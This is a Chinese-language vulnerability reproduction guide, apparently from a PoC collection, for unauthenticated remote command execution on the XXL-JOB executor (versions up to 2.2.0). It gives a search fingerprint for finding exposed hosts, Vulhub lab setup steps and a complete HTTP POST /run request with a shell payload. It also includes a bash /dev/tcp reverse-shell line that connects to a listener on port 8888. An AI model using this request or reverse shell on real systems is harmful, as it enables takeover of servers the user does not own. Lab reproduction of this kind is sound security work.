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99 lines
2.7 KiB
Markdown
99 lines
2.7 KiB
Markdown
# XXL-JOB executor 未授权访问漏洞
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## 漏洞描述
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XXL-JOB 是一个分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线，开箱即用。XXL-JOB 分为 admin 和 executor 两端，前者为后台管理页面，后者是任务执行的客户端。
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由于 executor 默认没有配置认证，未授权的攻击者可以通过 RESTful API 执行任意命令。
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参考链接：
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- https://mp.weixin.qq.com/s/jzXIVrEl0vbjZxI4xlUm-g
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- https://landgrey.me/blog/18/
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- https://github.com/OneSourceCat/XxlJob-Hessian-RCE
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## 披露时间
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```
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2020-10-27
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```
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## 漏洞影响
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```
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XXL-JOB <= 2.2.0
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```
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## 网络测绘
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```
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app="XXL-JOB" || title="任务调度中心" || ("invalid request, HttpMethod not support" && port="9999")
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```
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## 环境搭建
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Vulhub 执行如下命令启动 2.2.0 版本的 XXL-JOB：
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```
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docker-compose up -d
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```
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环境启动后，访问 `http://your-ip:8080/xxl-job-admin/toLogin` 即可查看到管理端（admin），访问 `http://your-ip:9999` 可以查看到客户端（executor）。客户端（executor）默认返回如下报错信息：
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```
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{"code":500,"msg":"invalid request, HttpMethod not support."}
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```
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## 漏洞复现
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向客户端（executor）发送如下数据包，即可执行命令：
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```
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POST /run HTTP/1.1
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Host: your-ip:9999
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
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Connection: close
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Content-Type: application/json
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Content-Length: 365
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{
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"jobId": 1,
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"executorHandler": "demoJobHandler",
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"executorParams": "demoJobHandler",
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"executorBlockStrategy": "COVER_EARLY",
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"executorTimeout": 0,
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"logId": 1,
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"logDateTime": 1586629003729,
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"glueType": "GLUE_SHELL",
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"glueSource": "touch /tmp/awesome_poc",
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"glueUpdatetime": 1586699003758,
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"broadcastIndex": 0,
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"broadcastTotal": 0
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}
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```
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`touch /tmp/awesome_poc` 已成功执行：
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执行反弹 shell 命令：
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```
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"glueSource": "bash -i >& /dev/tcp/your-ip/8888 0>&1 "
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```
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监听 8888 端口，接收反弹 shell：
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低于 2.2.0 版本的 XXL-JOB 没有 RESTful API，我们可以通过 [Hessian反序列化](https://github.com/OneSourceCat/XxlJob-Hessian-RCE) 来执行命令。
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